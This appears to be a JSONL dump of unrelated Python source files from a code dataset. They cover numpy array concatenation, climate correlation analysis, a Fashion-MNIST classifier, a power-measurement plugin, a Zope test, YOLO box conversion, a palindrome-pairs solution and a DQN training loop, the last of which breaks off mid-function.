+{"seq_id":"532298583","text":"import numpy as np\na = np.array([[1, 2], [3, 4]]) \nb = np.array([[5, 6]])\nprint(np.concatenate((a, b), axis=0))  # 这里的axis=0的表示按照行进行合并\n'''\narray([[1, 2],\n       [3, 4],\n       [5, 6]])\n'''\nc = np.array([[1, 2], [3, 4]]) \nd = np.array([[5, 6]])\nprint(np.concatenate((c, d.T), axis=1))  # 这里的axis=1的表示按照列进行合并\n'''\narray([[1, 2, 5],\n       [3, 4, 6]])\n'''\n","sub_path":"lib/basics/concatenate用法.py","file_name":"concatenate用法.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"96421604","text":"#correlations of extratropical asymmetries and computation of asymmetric index\nimport numpy as np\nimport xarray as xr\nimport os\n\ndef TestCorrelation(var1, var2, var3, var4):\n\tvarx = np.mean(var1, axis=0) - np.mean(var2, axis=0)\n\tvary = np.mean(var3, axis=0) - np.mean(var4, axis=0)\n\tvarx = np.ravel(varx)\n\tvary = np.ravel(vary)\n\tcorrelacion = np.corrcoef(varx, vary)[0, 1]\n\treturn correlacion\ndef ComputeAsymmetry(field, pattern):\n\t\"\"\"project pattern inot fiels\"\"\"\n\tpattern = np.ravel(pattern)\n\tpattern = pattern #/ np.sqrt(np.sum(pattern * pattern))\n\tpattern = np.tile(pattern[np.newaxis, :], (field.shape[0], 1))\n\tfield = np.reshape(field,[field.shape[0], field.shape[1]*field.shape[2]])\n\tfield_norm = np.reshape(np.tile((np.sum(field * field, axis=1)), (1, field.shape[1])),\n\t\t\t\t[field.shape[0], field.shape[1]])\n\tprint(field_norm.shape)\n#\tfield_norm = \n\tindex = np.squeeze(np.sum(field /field_norm * pattern, axis=1))\n\treturn index\n#================================================\nos.environ['HDF5_USE_FILE_LOCKING'] = 'FALSE'\nPATH_DATA = '~/datos/data/'\nPATH_DATA_2 = '/home/users/vg140344/datos/data/fogt/'\nFIG_PATH = '/home/users/vg140344/assessment_SH_zonal_asymmetries/figures/strat_trop_zonal_asymmetries/decile_new/'\nFILE_HGT_S4 = 'monthly_hgt200_aug_feb.nc4'\nFILE_NINIO_S4 = 'fogt/ninio34_monthly.nc4'\nFILE_PV_S4 = 'fogt/SPV_index.nc4'\nhgt = xr.open_dataset(PATH_DATA + FILE_HGT_S4)\nhgt = hgt - hgt.mean(dim='longitude')\nhgt = hgt.sel(**{'latitude':slice(-45, -90)})\nninio34 =  xr.open_dataset(PATH_DATA + FILE_NINIO_S4)\nPV_index =  xr.open_dataset(PATH_DATA + FILE_PV_S4)\n\n#search for years with weak PV\nindex_SPV_upper = PV_index.SPV_index >= PV_index.SPV_index.quantile(0.90, dim='dim_0', interpolation='linear')\n#search for years with strong PV\nindex_SPV_lower = PV_index.SPV_index <= PV_index.SPV_index.quantile(0.10, dim='dim_0', interpolation='linear')\n\n#enso during all years\nindex_ninio_all = ninio34.ninio34_index >= ninio34.ninio34_index.quantile(0.90, dim='dim_0', interpolation='linear')\nindex_ninia_all = ninio34.ninio34_index <= ninio34.ninio34_index.quantile(0.10, dim='dim_0', interpolation='linear')\nindex_normal_all = np.logical_and(ninio34.ninio34_index < ninio34.ninio34_index.quantile(0.90, dim='dim_0', interpolation='linear'), ninio34.ninio34_index > ninio34.ninio34_index.quantile(0.10, dim='dim_0', interpolation='linear'))\n#enso during weak PoV\n\nindex_ninio_WPV = np.logical_and(index_ninio_all.values, index_SPV_upper.values)\nindex_ninia_WPV = np.logical_and(index_ninia_all.values, index_SPV_upper.values)\nindex_normal_WPV = np.logical_and(index_normal_all.values, index_SPV_upper.values)\n\n#enso during strong PoV\nindex_ninio_SPV = np.logical_and(index_ninio_all.values, index_SPV_lower.values)\nindex_ninia_SPV = np.logical_and(index_ninia_all.values, index_SPV_lower.values)\nindex_normal_SPV = np.logical_and(index_normal_all.values, index_SPV_lower.values)\n\ncorrel_ninio_WPV = np.empty([7])\ncorrel_ninia_WPV = np.empty([7])\ncorrel_ninio_SPV = np.empty([7])\ncorrel_ninia_SPV = np.empty([7])\ncorrel_ninia = np.empty([7])\ncorrel_ninio = np.empty([7])\n\nmonth = ['Aug', 'Sep', 'Oct', 'Nov', 'Dec', 'Jan', 'Feb']\nseas = ['ASO', 'SON', 'OND', 'NDJ', 'DJF']\n\nfor i in np.arange(0, 7):\n\tvar_ninio_WPV = hgt.z.values[i, index_ninio_WPV, :, :]\n\tvar_normal_WPV = hgt.z.values[i, index_normal_WPV, :, :]\n\tvar_ninia_WPV = hgt.z.values[i, index_ninia_WPV, :, :]\t\n\tvar_ninio_SPV = hgt.z.values[i, index_ninio_SPV, :, :]\n\tvar_normal_SPV = hgt.z.values[i, index_normal_SPV, :, :]\n\tvar_ninia_SPV = hgt.z.values[i, index_ninia_SPV, :, :]\t\n\tvar_ninio_all = hgt.z.values[i, index_ninio_all.values, :, :]\n\tvar_normal_all = hgt.z.values[i, index_normal_all.values, :, :]\n\tvar_ninia_all = hgt.z.values[i, index_ninia_all.values, :, :]\n\tnp.savez(PATH_DATA_2 + 'z200_conditioned_' + month[i] + '_d_new.npz', var1=hgt.z.values[i, index_ninio_all.values, :, :], var2=hgt.z.values[i, index_normal_all.values, :, :], var3=hgt.z.values[i, index_ninia_all.values, :, :], var4=hgt.z.values[i, index_ninio_WPV, :, :], var5=hgt.z.values[i, index_normal_WPV, :, :], var6=hgt.z.values[i, index_ninia_WPV, :, :], var7=hgt.z.values[i, index_ninio_SPV, :, :], var8=hgt.z.values[i, index_normal_SPV, :, :], var9=hgt.z.values[i, index_ninia_SPV, :, :])\n\n#testear si los campos son distintos:\n\t#test correlation\n\tcorrel_ninio_WPV[i] = TestCorrelation(var_ninio_all, var_normal_all, var_ninio_WPV, var_normal_WPV)\n\tcorrel_ninia_WPV[i] = TestCorrelation(var_ninia_all, var_normal_all, var_ninia_WPV, var_normal_WPV)\n\tcorrel_ninia[i] = TestCorrelation(var_ninia_SPV, var_normal_SPV, var_ninia_WPV, var_normal_WPV)\n\tcorrel_ninio[i] = TestCorrelation(var_ninio_SPV, var_normal_SPV, var_ninio_WPV, var_normal_WPV)\n\tcorrel_ninio_SPV[i] = TestCorrelation(var_ninio_all, var_normal_all, var_ninio_SPV, var_normal_SPV)\n\tcorrel_ninia_SPV[i] = TestCorrelation(var_ninia_all, var_normal_all, var_ninia_SPV, var_normal_SPV)\n\nds = xr.Dataset({'correl_ninio_WPV': (['month'], correl_ninio_WPV),\n\t\t 'correl_ninia_WPV': (['month'], correl_ninia_WPV),\n\t\t 'correl_ninio_SPV': (['month'], correl_ninio_SPV),\n\t\t 'correl_ninia_SPV': (['month'], correl_ninia_SPV),\n\t\t 'correl_ninia': (['month'], correl_ninia),\n\t\t 'correl_ninio': (['month'], correl_ninio)},\n\t\t coords={'month': (['month'], month)})\nds.to_netcdf(PATH_DATA_2 + 'monthly_correlations_enso_SPoV_polar_d_new.nc4')\n\ncorrel_ninio_WPV = np.empty([5])\ncorrel_ninia_WPV = np.empty([5])\ncorrel_ninio_SPV = np.empty([5])\ncorrel_ninia_SPV = np.empty([5])\ncorrel_ninio = np.empty([5])\ncorrel_ninia = np.empty([5])\n\nfor i in np.arange(0, 5):\n\thgt_s = hgt.isel(month=range(i, i+3)).mean(dim='month')\n\tvar_ninio_WPV = hgt_s.z.values[index_ninio_WPV, :, :]\n\tvar_normal_WPV = hgt_s.z.values[index_normal_WPV, :, :]\n\tvar_ninia_WPV = hgt_s.z.values[index_ninia_WPV, :, :]\t\n\tvar_ninio_SPV = hgt_s.z.values[index_ninio_SPV, :, :]\n\tvar_normal_SPV = hgt_s.z.values[index_normal_SPV, :, :]\n\tvar_ninia_SPV = hgt_s.z.values[index_ninia_SPV, :, :]\t\n\tvar_ninio_all = hgt_s.z.values[index_ninio_all.values, :, :]\n\tvar_normal_all = hgt_s.z.values[index_normal_all.values, :, :]\n\tvar_ninia_all = hgt_s.z.values[index_ninia_all.values, :, :]\n\n\t#save npz file to compute correlations\n\tnp.savez(PATH_DATA_2 + 'z200_conditioned_' + seas[i] + '_d_new.npz', var1=hgt_s.z.values[index_ninio_all.values, :, :], var2=hgt_s.z.values[index_normal_all.values, :, :], var3=hgt_s.z.values[index_ninia_all.values, :, :], var4=hgt_s.z.values[index_ninio_WPV, :, :], var5=hgt_s.z.values[index_normal_WPV, :, :], var6=hgt_s.z.values[index_ninia_WPV, :, :], var7=hgt_s.z.values[index_ninio_SPV, :, :], var8=hgt_s.z.values[index_normal_SPV, :, :], var9=hgt_s.z.values[index_ninia_SPV, :, :])\n\t#test correlation\n\tcorrel_ninio_WPV[i] = TestCorrelation(var_ninio_all, var_normal_all, var_ninio_WPV, var_normal_WPV)\n\tcorrel_ninia_WPV[i] = TestCorrelation(var_ninia_all, var_normal_all, var_ninia_WPV, var_normal_WPV)\n\tcorrel_ninio_SPV[i] = TestCorrelation(var_ninio_all, var_normal_all, var_ninio_SPV, var_normal_SPV)\n\tcorrel_ninia_SPV[i] = TestCorrelation(var_ninia_all, var_normal_all, var_ninia_SPV, var_normal_SPV)\n\tcorrel_ninia[i] = TestCorrelation(var_ninia_SPV, var_normal_SPV, var_ninia_WPV, var_normal_WPV)\n\tcorrel_ninio[i] = TestCorrelation(var_ninio_SPV, var_normal_SPV, var_ninio_WPV, var_normal_WPV)\n\n\n\nds = xr.Dataset({'correl_ninio_WPV': (['seas'], correl_ninio_WPV),\n\t\t 'correl_ninia_WPV': (['seas'], correl_ninia_WPV),\n\t\t 'correl_ninio_SPV': (['seas'], correl_ninio_SPV),\n\t\t 'correl_ninia_SPV': (['seas'], correl_ninia_SPV),\n\t\t 'correl_ninia': (['seas'], correl_ninia),\n\t\t 'correl_ninio': (['seas'], correl_ninio)},\n\t\t coords={'seas': (['seas'], seas)})\nds.to_netcdf(PATH_DATA_2 + 'seasonal_correlations_enso_SPoV_polar_d_new.nc4')\n\n\n\n","sub_path":"strat_trop_zonal_asymmetries/decile/asymmetric_index_z200_new.py","file_name":"asymmetric_index_z200_new.py","file_ext":"py","file_size_in_byte":7738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"561830877","text":"import matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport tensorflow as tf\r\nfrom tensorflow.keras.datasets import fashion_mnist\r\nimport pandas as pd\r\n#load the data sheet\r\n(xtrain,ytrain),(xtest,ytest)=fashion_mnist.load_data()\r\nfashion_labels=[\"T-shirt/top\",\"Trousers\",\"Pullover\",\"Dress\",\"Coat\",\"Sandal\",\"Shirt\",\"Sneaker\",\"Bag\",\"Ankle boot\"]\r\nbatch_size=128\r\nepochs=3\r\nn_classes=10\r\nwidth=28\r\nheight=28\r\n#normalize the feature for better training\r\nxtrain=xtrain.astype('float32')/255.0\r\nxtest=xtest.astype('float32')/255.0\r\n#flatten the features for use the training algorithm\r\nxtrain=xtrain.reshape((60000,width*height))\r\nxtest=xtest.reshape((10000,width*height))\r\n#print(xtrain,xtest)\r\nsplit=50000\r\n#split feature training set into training and vakidation sets\r\n(xtrain,xvalid)=xtrain[:split],xtrain[split:]\r\n(ytrain,yvalid)=ytrain[:split],ytrain[split:]\r\nytrain_ohe=tf.one_hot(ytrain,depth=n_classes).numpy()\r\nyvalid_ohe=tf.one_hot(yvalid,depth=n_classes).numpy()\r\nytest_ohe=tf.one_hot(ytest,depth=n_classes).numpy()\r\n#plot images\r\n_,image=plt.subplots(1,10,figsize=(8,1))\r\nfor i in range(10):\r\n    image[i].imshow(np.reshape(xtrain[i],(width,height)),cmap=\"Greys\")\r\n    print(fashion_labels[ytrain[i]],sep=\",end=\")\r\nplt.show()\r\n#bulid the model \r\nmodel=tf.keras.models.Sequential(\\\r\n[tf.keras.layers.Dense(n_classes,activation='softmax')]    )\r\nmodel.compile(optimizer='adam',loss='categorical_crossentropy',metrics=['accuracy'])\r\n#loss function=cross entropy (not sure )\r\n#metrics accracy is normal standard for error rate\r\nmodel.fit(xtrain,ytrain_ohe,batch_size=batch_size,epochs=epochs,validation_data=(xvalid,yvalid_ohe))\r\nmodel.summary()\r\n\r\n\r\n# evaluate the model on the test set\r\nscores = model.evaluate(xtest, ytest_ohe, batch_size)\r\nprint(\"Final test loss and accuracy :\", scores)\r\ny_predictions = model.predict(xtest)\r\n# example of one predicted versus one true fashion label\r\nindex = 42\r\nindex_predicted = np.argmax(y_predictions[index]) #model預測的丟進去\r\n# largest label probability\r\nindex_true = np.argmax(ytest_ohe[index])\r\n# pick out index of element with a 1 in it\r\nprint(\"When prediction is \" , index_predicted)\r\nprint(\"ie. predicted label is\",\r\nfashion_labels[index_predicted])\r\nprint(\"True label is \", fashion_labels[index_true])\r\nprint (\"\\n\\nPredicted V (True) fashion labels,\\\r\ngreen is correct, red is wrong\")\r\nsize = 12 # 12 random numbers out of x_test.shape[0]\r\nfig = plt.figure(figsize=(15,3))\r\nrows = 3\r\ncols = 4\r\nfor i, index in enumerate(np.random.choice(\\\r\n    xtest.shape[0], size = size, replace = False)):\r\n    axis=fig.add_subplot(rows,cols,i+1)\r\n # position i+1 in grid with rows rows and cols columns\r\n    axis.imshow(xtest[index].reshape(width,height),cmap=\"Greys\")\r\n    index_predicted = np.argmax(y_predictions[index])\r\n    index_true = np.argmax(ytest_ohe[index])\r\n    axis.set_title((\"{} ({})\").format(\\\r\n    fashion_labels[index_predicted],fashion_labels[index_true]),\r\n    color=(\"green\" if index_predicted == index_true else \"red\"))\r\nplt.show()","sub_path":"10multiclass_logistic-regression.py","file_name":"10multiclass_logistic-regression.py","file_ext":"py","file_size_in_byte":3002,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"278294923","text":"#    Copyright 2015 MediaTek Inc\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nimport os\nimport time\nimport subprocess\nimport sys\nimport xmlrpclib\nfrom subprocess import Popen, PIPE\nfrom threading  import Thread\n\nfrom wlauto import Instrument, Executable, Parameter\nfrom wlauto.exceptions import ConfigError\nfrom wlauto.utils.misc import ensure_file_directory_exists as _f\nfrom wlauto.utils.types import arguments, list_of_strs\n\nfrom Queue import Queue, Empty\n\nclass ServoInstrument(Instrument):\n    \"\"\" \n    Measure power consumption with chromium servo board\n    \"\"\"\n\n    name = 'servo'\n    description = 'chromium servo board'\n\n    parameters = [\n        Parameter('servod_host', kind=str, default='localhost',\n                  global_alias='servo_servod_host',\n                  description=\"\"\"hostname of the servod running\"\"\"),\n        Parameter('servod_port', kind=str, default='9999',\n                  global_alias='servo_servod_port',\n                  description=\"\"\"port number of the servod running\"\"\"),\n        Parameter('delay', kind=float, default=0.2,\n                  global_alias='servo_delay',\n                  description=\"\"\"delay before getting values\"\"\"),\n        Parameter('power_for_little', kind=list_of_strs,\n                  default=['dvfs2_mw', 'sram15_mw'],\n                  global_alias='servo_power_for_little',\n                  description=\"\"\"names of power meters for little cluster\"\"\"),\n        Parameter('power_for_big', kind=list_of_strs,\n                  default=['dvfs1_mw', 'sram7_mw'],\n                  global_alias='servo_power_for_big',\n                  description=\"\"\"names of power meters for big cluster\"\"\"),\n    ]\n\n    def initialize(self, context):\n        self.start_time = None\n        self.end_time = None\n        self.proxy = xmlrpclib.ServerProxy(\"http://\" +\n\t\tself.servod_host + \":\" + self.servod_port + \"/\")\n\n    def setup(self, context):\n        pass\n\n    def enqueue_output(self, queue):\n        little_p = big_p = 0\n        time.sleep(self.delay)\n\n        for l in self.power_for_little:\n            little_p += float(self.proxy.get(l))\n\n        for b in self.power_for_big:\n            big_p += float(self.proxy.get(b))\n\n        queue.put(little_p)\n        queue.put(big_p)\n\n    def get_power(self):\n        q = Queue()\n        t = Thread(target=self.enqueue_output, args=[q])\n        t.daemon = True # thread dies with the program\n        t.start()\n        return q\n\n    def fast_start(self, context):\n        self.start_time = time.time()\n        self.q = self.get_power()\n        self.start_a53_power = 0\n        self.start_a72_power = 0\n\n    def fast_stop(self, context):\n        self.end_time = time.time()\n        self.start_a53_power = self.q.get_nowait()\n        self.start_a72_power = self.q.get_nowait()\n\n    def update_result(self, context):\n        power_consumed = self.end_time - self.start_time\n        context.result.add_metric('a53_power', self.start_a53_power, 'milliwatts')\n        context.result.add_metric('a72_power', self.start_a72_power, 'milliwatts')\n\n    def teardown(self, context):\n        pass\n\n    def finalize(self, context):\n        pass\n","sub_path":"wlauto/instrumentation/servo_board/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"74211680","text":"##############################################################################\n#\n# Copyright (c) 2001, 2002 Zope Foundation and Contributors.\n# All Rights Reserved.\n#\n# This software is subject to the provisions of the Zope Public License,\n# Version 2.1 (ZPL).  A copy of the ZPL should accompany this distribution.\n# THIS SOFTWARE IS PROVIDED \"AS IS\" AND ANY AND ALL EXPRESS OR IMPLIED\n# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS\n# FOR A PARTICULAR PURPOSE.\n#\n##############################################################################\n\"\"\"Onlinehelp tree view Tests\n\n$Id$\n\"\"\"\nimport os\n\nfrom unittest import TestCase, TestLoader, TextTestRunner\n\nfrom zope import component\nfrom zope.pagetemplate.tests.util import check_xml\nfrom zope.publisher.browser import TestRequest\nfrom zope.app.component.testing import PlacefulSetup\nfrom zope.app.onlinehelp.tests import util\nfrom zope.app.onlinehelp.interfaces import IOnlineHelp, IOnlineHelpTopic\nfrom zope.app.onlinehelp.onlinehelp import OnlineHelp\nfrom zope.app.onlinehelp.onlinehelptopic import OnlineHelpTopic\nfrom zope.app.onlinehelp.browser.tree import OnlineHelpTopicTreeView\n\n\ndef testdir():\n    import zope.app.onlinehelp.tests\n    return os.path.dirname(zope.app.onlinehelp.tests.__file__)\n\n\nclass TestOnlineHelpTopicTreeView(PlacefulSetup, TestCase):\n    \n    def setUp(self):\n        PlacefulSetup.setUp(self, site=True)\n        path = os.path.join(testdir(), 'help.txt')\n        self.onlinehelp = OnlineHelp('Help', path)\n        component.provideUtility(self.onlinehelp, IOnlineHelp, \"OnlineHelp\")\n\n    def test_onlinehelp(self):\n        view = OnlineHelpTopicTreeView\n        treeView = view(self.rootFolder, TestRequest()).getTopicTree\n        check_xml(treeView(), util.read_output('test1.xml'))\n\n    def test_topics(self):\n        path = os.path.join(testdir(), 'help.txt')\n        \n        id = 'topic1'\n        title = 'Topic1'\n        parentPath = \"\"\n        topic1 = OnlineHelpTopic(id, title, path, parentPath)\n        self.onlinehelp['topic1'] = topic1\n\n        id = 'topic1_1'\n        title = 'Topic1_1'\n        parentPath = 'topic1'\n        topic1_1 = OnlineHelpTopic(id, title, path, parentPath)\n        topic1['topic1_1']  = topic1_1\n\n        id = 'topic1_1_1'\n        title = 'Topic1_1_1'\n        parentPath = 'topic1/topic1_1'\n        topic1_1_1 = OnlineHelpTopic(id, title, path, parentPath)\n        topic1_1['topic1_1_1']  = topic1_1_1\n\n        id = 'topic2'\n        title = 'Topic2'\n        parentPath = \"\"\n        topic2 = OnlineHelpTopic(id, title, path, parentPath)\n        self.onlinehelp['topic2'] = topic2\n        \n        view = OnlineHelpTopicTreeView\n        treeView = view(self.rootFolder, TestRequest()).getTopicTree\n        check_xml(treeView(), util.read_output('test2.xml'))\n\n\ndef test_suite():\n    loader = TestLoader()\n    return loader.loadTestsFromTestCase(TestOnlineHelpTopicTreeView)\n\nif __name__=='__main__':\n    TextTestRunner().run(test_suite())\n","sub_path":"zope.app.onlinehelp/branches/3.5/src/zope/app/onlinehelp/tests/test_treeview.py","file_name":"test_treeview.py","file_ext":"py","file_size_in_byte":3053,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"344746736","text":"# 입력 : 이동하려는 채널 N, 고장난 버튼 수: M , 고장난 버튼들\n# 출력 : 채널 N으로 이동 가능할때 까지 누르는 최소 버튼 수\n# 시작 채널은 100이고, 최소 차이를 구하면 될거같은데... 그 경우의 수가..?\n\nimport sys\n\nsys.stdin = open('input.txt', 'r')\n\nN = int(input())\nM = int(input())\n\ntotal_buttons = set(str(i) for i in range(0, 10))\nbroken_buttons = set(input().split())\n","sub_path":"PYTHON/BAEKJOON/1107_리모컨/X_1107.py","file_name":"X_1107.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"40398496","text":"import re\nimport os\n\n\ndef get_files_in_dir(basepath,ext=[],debug=False):\n\n    basepath=os.path.abspath(basepath)\n\n    ext = [str.lower(x) for x in ext]\n\n    try:\n        if os.path.exists(basepath) and os.path.isdir(basepath):\n            result=[os.path.join(basepath,x) for x in os.listdir(basepath)]\n            files=[x for x in result if os.path.isfile(x)]\n            if len(ext)==0:\n                print('无类型筛选,返回所有文件')\n                if debug:print(files)\n                return files\n\n            if len(ext)>0 :\n                print('返回{}类型的文件'.format(ext))\n                files=[x for x in files if str.lower(re.split(r'\\.',x)[-1]) in ext]\n                if debug:print(files)\n                return files\n        else:\n            return False\n    except Exception as e:\n        print('发生错误{}'.format(e))\n\n\n\n\ndef convert_xy_to_yolo(x_min,y_min,x_max,y_max,w_image,h_image):\n    x_yolo = ((x_min + x_max) / 2 - 1) / w_image\n    y_yolo = ((y_min + y_max) / 2 - 1) / h_image\n    w_yolo = (x_max - x_min) / w_image\n    h_yolo = (y_max - y_min) / h_image\n    return x_yolo,y_yolo,w_yolo,h_yolo\n\ndef convert_yolo_to_xy(x_yolo,y_yolo,w_yolo,h_yolo,image_w,image_h):\n\n    xmin = float(x_yolo) - float(w_yolo) / 2\n    xmax = float(x_yolo) + float(w_yolo) / 2\n\n    ymin = float(y_yolo) - float(h_yolo) / 2\n    ymax = float(y_yolo) + float(h_yolo) / 2\n\n    # 将坐标（0-1之间的值）还原回在图片中实际的坐标位置\n    xmin, xmax = int(image_w * xmin), int(image_w * xmax)\n    ymin, ymax = int(image_h * ymin), int(image_h * ymax)\n\ndef get_yolo_data_from_file(file_path):\n    '''\n    生成器,用for读取\n    @param file_path:\n    @return:\n    '''\n    with open(file_path,'r',encoding='utf-8') as f:\n        while 1:\n            s=f.readline()\n            if s=='':\n                break\n            else:\n                tag, x_yolo, y_yolo, w_yolo, h_yolo = [float(x) for x in s.split(' ')]\n                yield int(tag),float(x_yolo),float(h_yolo),float(w_yolo),float(h_yolo)\n\nfor i in get_yolo_data_from_file('E:\\yoloxml/mars_0.txt'):\n    print(*i)","sub_path":"my_model/yolo-xml转换.py","file_name":"yolo-xml转换.py","file_ext":"py","file_size_in_byte":2122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"142318480","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time    : 2017/6/23 PM12:11\n# @Author  : Qiming Zhang\n# @File    : PalindromePairs\n# 利用字典wmap保存单词 -> 下标的键值对\n\n# 遍历单词列表words，记当前单词为word，下标为idx：\n\n# 1). 若当前单词word本身为回文，且words中存在空串，则将空串下标bidx与idx加入答案\n\n# 2). 若当前单词的逆序串在words中，则将逆序串下标ridx与idx加入答案\n\n# 3). 将当前单词word拆分为左右两半left，right。\n\n#      3.1) 若left为回文，并且right的逆序串在words中，则将right的逆序串下标rridx与idx加入答案\n     \n#      3.2) 若right为回文，并且left的逆序串在words中，则将left的逆序串下标idx与rlidx加入答案\nclass Solution(object):\n    def palindromePairs(self, words):\n        \"\"\"\n        :type words: List[str]\n        :rtype: List[List[int]]\n        \"\"\"\n        def isPalindrome(s):\n            return s == s[::-1]\n        dic = {y: x for x, y in enumerate(words)}\n        res = []\n        l = len(words)\n        for i in range(l):\n            word = words[i]\n            if word != \"\" and isPalindrome(word):\n                if \"\" in dic:\n                    res.append([dic[\"\"], i])\n                    res.append([i, dic[\"\"]])\n            rev = word[::-1]\n            if rev in dic and i != dic[rev]:\n                res.append([i, dic[rev]])\n            for x in range(1, len(word)):\n                left, right = word[:x], word[x:]\n                leftr, rightr = left[::-1], right[::-1]\n                if isPalindrome(left) and rightr in dic:\n                    res.append([dic[rightr], i])\n                if isPalindrome(right) and leftr in dic:\n                    res.append([i, dic[leftr]])\n        return res\n\n","sub_path":"String/PalindromePairs.py","file_name":"PalindromePairs.py","file_ext":"py","file_size_in_byte":1788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"641617859","text":"from collections import OrderedDict\nimport pickle\nimport os\nimport sys\nimport time\n\nimport gym\nfrom gym import wrappers\nimport numpy as np\nimport torch\nfrom tqdm import tqdm\n\nimport core.pytorch_util as ptu\nimport core.utils\nfrom core.logger import Logger\n\nfrom dqn_agent import DQNAgent\nfrom core.dqn_utils import (\n        get_wrapper_by_name,\n        register_custom_envs\n)\n\n\n# how many rollouts to save as videos to tensorboard\nMAX_NVIDEO = 2\nMAX_VIDEO_LEN = 40 # we overwrite this in the code below\n\n\nclass RL_Trainer(object):\n\n    def __init__(self, params):\n\n        #############\n        ## INIT\n        #############\n\n        # Get params, create logger\n        self.params = params\n        # Set random seeds\n        seed = self.params['seed']\n        np.random.seed(seed)\n        torch.manual_seed(seed)\n        ptu.init_gpu(\n            use_gpu=not self.params['no_gpu'],\n            gpu_id=self.params['which_gpu']\n        )\n\n        #############\n        ## ENV\n        #############\n\n        # Make the gym environment\n        register_custom_envs()\n        self.env = gym.make(self.params['env_name'])\n        if ('Pointmass' in self.params['env_name']):\n            import matplotlib\n            matplotlib.use('Agg')\n            self.env.set_logdir(self.params['logdir'] + '/expl_')\n            #self.eval_env.set_logdir(self.params['logdir'] + '/eval_')\n\n        if 'env_wrappers' in self.params:\n            self.env = wrappers.Monitor(self.env, os.path.join(self.params['logdir']), force=True)\n            self.mean_episode_reward = -float('nan')\n            self.best_mean_episode_reward = -float('inf')\n        \n        self.env.seed(seed)\n    \n        # Observation and action sizes\n        ob_dim = self.env.observation_space.shape[0] # #if img else self.env.observation_space.shape[0]\n        ac_dim = self.env.action_space.n\n        print(\"ob_dim = {}, ac_dim = {}\".format(self.env.observation_space, ac_dim))\n        self.params['agent_params']['ac_dim'] = ac_dim\n        self.params['agent_params']['ob_dim'] = ob_dim\n        \n        #############\n        ## AGENT\n        #############\n\n        agent_class = self.params['agent_class']\n        self.agent = agent_class(self.env, self.params['agent_params'])\n\n    def run_training_loop(self, n_iter, collect_policy, eval_policy):\n        \n        \"\"\"\n        :param n_iter:  number of (dagger) iterations\n        :param collect_policy:\n        :param eval_policy:\n        \"\"\"\n\n        # init vars at beginning of training\n        self.total_envsteps = 0\n        self.start_time = time.time()\n\n        print_period = self.params['scalar_log_freq']\n        for itr in tqdm(range(n_iter)):\n            if itr % print_period == 0:\n                print(\"\\n********** Iteration %i ************\"%itr)\n\n            # collect trajectories, to be used for training\n            #if isinstance(self.agent, DQNAgent):\n                # only perform an env step and add to replay buffer for DQN\n            self.agent.step_env()\n            envsteps_this_batch = 1\n            \n            self.total_envsteps += envsteps_this_batch\n\n            # train agent (using sampled data from replay buffer)\n            if itr % print_period == 0:\n                print(\"\\nTraining agent...\")\n            all_logs = self.train_agent()\n\n            if itr % print_period == 0:\n                self.dump_density_graphs(itr)\n\n\n            # log/save\n            if itr % self.params['scalar_log_freq'] == 0:\n                # perform logging\n                print('\\nBeginning logging procedure...')\n                self.perform_dqn_logging(all_logs)\n\n        \n        print(\"\\n\\n********** Training finished ************\")\n        all_logs = self.train_agent()\n        self.perform_dqn_logging(all_logs)\n\n    def train_agent(self):\n        all_logs = []\n        for train_step in range(self.params['num_agent_train_steps_per_iter']):\n            ob_batch, ac_batch, re_batch, next_ob_batch, terminal_batch = self.agent.sample(\n                self.params['train_batch_size'])\n            train_log = self.agent.train(ob_batch, ac_batch, re_batch, next_ob_batch, terminal_batch)\n            all_logs.append(train_log)\n        return all_logs\n\n\n    def perform_dqn_logging(self, all_logs):\n        last_log = all_logs[-1]\n\n        episode_rewards = get_wrapper_by_name(self.env, \"Monitor\").get_episode_rewards()\n        if len(episode_rewards) > 0:\n            self.mean_episode_reward = np.mean(episode_rewards[-100:])\n        if len(episode_rewards) > 100:\n            self.best_mean_episode_reward = max(self.best_mean_episode_reward, self.mean_episode_reward)\n\n        logs = OrderedDict()\n\n        logs[\"Train_EnvstepsSoFar\"] = self.agent.t\n        logs[\"Train_EpisodeSoFar\"] = self.agent.num_episodes\n        print(\"Timestep %d\" % (self.agent.t,))\n        print(\"Num Episodes %d\" % (self.agent.num_episodes,))\n        if self.agent.num_episodes > 0:\n            print(\"Success rate(%) = {0:.2f}\".format(self.agent.num_at_site * 100 /self.agent.num_episodes))\n\n        logs[\"Num_Episode_reach_the_goal\"] = self.agent.num_at_site\n\n        if self.mean_episode_reward > -5000:\n            logs[\"Train_AverageReturn\"] = np.mean(self.mean_episode_reward)\n        print(\"mean reward (100 episodes) %f\" % self.mean_episode_reward)\n        if self.best_mean_episode_reward > -5000:\n            logs[\"Train_BestReturn\"] = np.mean(self.best_mean_episode_reward)\n        print(\"best mean reward %f\" % self.best_mean_episode_reward)\n\n        if self.start_time is not None:\n            time_since_start = (time.time() - self.start_time)\n            print(\"running time %f\" % time_since_start)\n            